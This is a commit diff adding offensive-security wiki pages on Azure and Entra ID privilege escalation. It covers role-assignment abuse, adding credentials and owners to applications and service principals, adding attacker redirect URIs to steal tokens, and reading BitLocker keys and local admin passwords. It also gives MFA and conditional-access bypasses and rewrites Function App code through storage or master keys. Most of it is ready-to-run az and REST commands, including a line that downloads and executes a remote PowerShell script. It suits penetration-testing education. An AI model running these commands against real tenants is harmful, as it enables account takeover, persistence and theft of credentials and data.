Migrate to using mdbook

This commit is contained in:
Congon4tor
2024-12-31 17:04:35 +01:00
parent b9a9fed802
commit cd27cf5a2e
1373 changed files with 26143 additions and 34152 deletions

View File

@@ -0,0 +1,2 @@
# Az - Privilege Escalation

View File

@@ -0,0 +1,39 @@
# Az - App Services Privesc
{{#include ../../../banners/hacktricks-training.md}}
## App Services
For more information about Azure App services check:
{{#ref}}
../az-services/az-app-service.md
{{#endref}}
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
These permissions allows to call the following commands to get a **SSH shell** inside a web app
- Direct option:
```bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
```
- Create tunnel and then connect to SSH:
```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successfull you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,82 @@
# Az - Azure IAM Privesc (Authorization)
{{#include ../../../banners/hacktricks-training.md}}
## Azure IAM
Fore more information check:
{{#ref}}
../az-services/az-azuread.md
{{#endref}}
### Microsoft.Authorization/roleAssignments/write
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
Create the file `role.json` with the following **content**:
```json
{
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
}
```
Then update the role permissions with the previous definition calling:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
> [!TIP]
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
Example command to give access to a repo in Github to the a managed identity:
```bash
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,357 @@
# Az - EntraID Privesc
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
## Roles
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
- Assign role to a user:
```bash
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Add more permissions to a role:
```bash
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
```
## Applications
### `microsoft.directory/applications/credentials/update`
This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything.
Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\
> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions.
```bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
```
> [!CAUTION]
> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.
Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.
```bash
bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
---
## Groups
### `microsoft.directory/groups/allProperties/update`
This permission allows to add users to privileged groups, leading to privilege escalation.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Note**: This permission excludes Entra ID role-assignable groups.
### `microsoft.directory/groups/owners/update`
This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Note**: This permission excludes Entra ID role-assignable groups.
### `microsoft.directory/groups/members/update`
This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.
```bash
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
```
**Note**: This permission excludes Entra ID role-assignable groups.
### Dynamic Groups Privesc
It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:
{{#ref}}
dynamic-groups.md
{{#endref}}
## Users
### `microsoft.directory/users/password/update`
This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.
```bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Conditional Access Policies & MFA bypass
Misconfigured conditional access policies requiring MFA could be bypassed, check:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}
## Devices
### `microsoft.directory/devices/registeredOwners/update`
This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data.
```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```
### `microsoft.directory/devices/registeredUsers/update`
This permission allows attackers to associate their account with devices to gain access or to bypass security policies.
```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```
### `microsoft.directory/deviceLocalCredentials/password/read`
This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password
```bash
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
```
## BitlockerKeys
### `microsoft.directory/bitlockerKeys/key/read`
This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.
```bash
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Other Interesting permissions (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
- `microsoft.directory/applications.myOrganization/allProperties/update`
- `microsoft.directory/applications/allProperties/update`
- `microsoft.directory/servicePrincipals/appRoleAssignedTo/update`
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,181 @@
# Az - Conditional Access Policies & MFA Bypass
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\
Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**.
Here are a couple of examples:
1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication.
2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version.
## Conditional Acces Policies Bypasses
It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it.
When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps).
It's also needed to configure the **conditions** that will **trigger** the policy:
- **Network**: Ip, IP ranges and geographical locations
- Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
- If “Any device” is not selected but all the other options are selected its possible to bypass it using a random user-agent not related to those platforms
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
- To bypass login with a not selected option
- **Filter for devices**: Its possible to generate a rule related the used device
- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer”
- This wont affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account
The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant…
### Device Platforms - Device Condition
It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\
You can change the user agent **manually** in the developer tools:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Locations: Countries, IP ranges - Device Condition
If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions.
### Cloud Apps
It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
To try to bypass this protection you should see if you can **only into any application**.\
The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful.
In order to **test specific application IDs in specific resources** you could also use a tool such as:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
## Other Az MFA Bypasses
### Ring tone
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
> [!CAUTION]
> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
### Compliant Devices
Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.
Start by registering a **compliant device in Intune**, then **get the PRT** with:
```powershell
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
```
Find more information about this kind of attack in the following page:
{{#ref}}
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
{{#endref}}
## Tooling
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
This script get some user credentials and check if it can login in some applications.
This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
Get all the policies
```bash
roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.
> [!TIP]
> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc..
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**Test each portal** if it's possible to **login without MFA**:
```powershell
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:
```powershell
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:
```powershell
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## References
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,50 @@
# Az - Dynamic Groups Privesc
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**.
Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups.
This feature requires Azure AD premium P1 license.
## Privesc
Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes.
Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
### Example
- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group
For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
```powershell
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
```
## References
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,457 @@
# Az - Functions App Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Function Apps
Check the following page for more information:
{{#ref}}
../az-services/az-function-apps.md
{{#endref}}
### Bucket Read/Write
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**.
Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from&#x20;
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
> [!CAUTION]
> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
{{#ref}}
../az-services/az-file-shares.md
{{#endref}}
```bash
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**.
Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
This config will usually contain a **SAS URL to download** the code from the Storage Account.
> [!CAUTION]
> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:
```bash
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
> [!CAUTION]
> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.
```bash
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```
### Microsoft.Web/sites/host/listkeys/action
This permission allows to list the function, master and system keys, but not the host one, of the specified function with:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
With the master key it's also possible to to get the source code in a URL like:
```bash
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
```
And to **change the code that is being executed** in the function with:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### Microsoft.Web/sites/functions/listKeys/action
This permission allows to get the host key, of the specified function with:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
### Microsoft.Web/sites/host/functionKeys/write
This permission allows to create/update a function key of the specified function with:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/host/masterKey/write
This permission allows to create/update a master key to the specified function with:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Remember that with this key you can also access the source code and modify it as explained before!
### Microsoft.Web/sites/host/systemKeys/write
This permission allows to create/update a system function key to the specified function with:
```bash
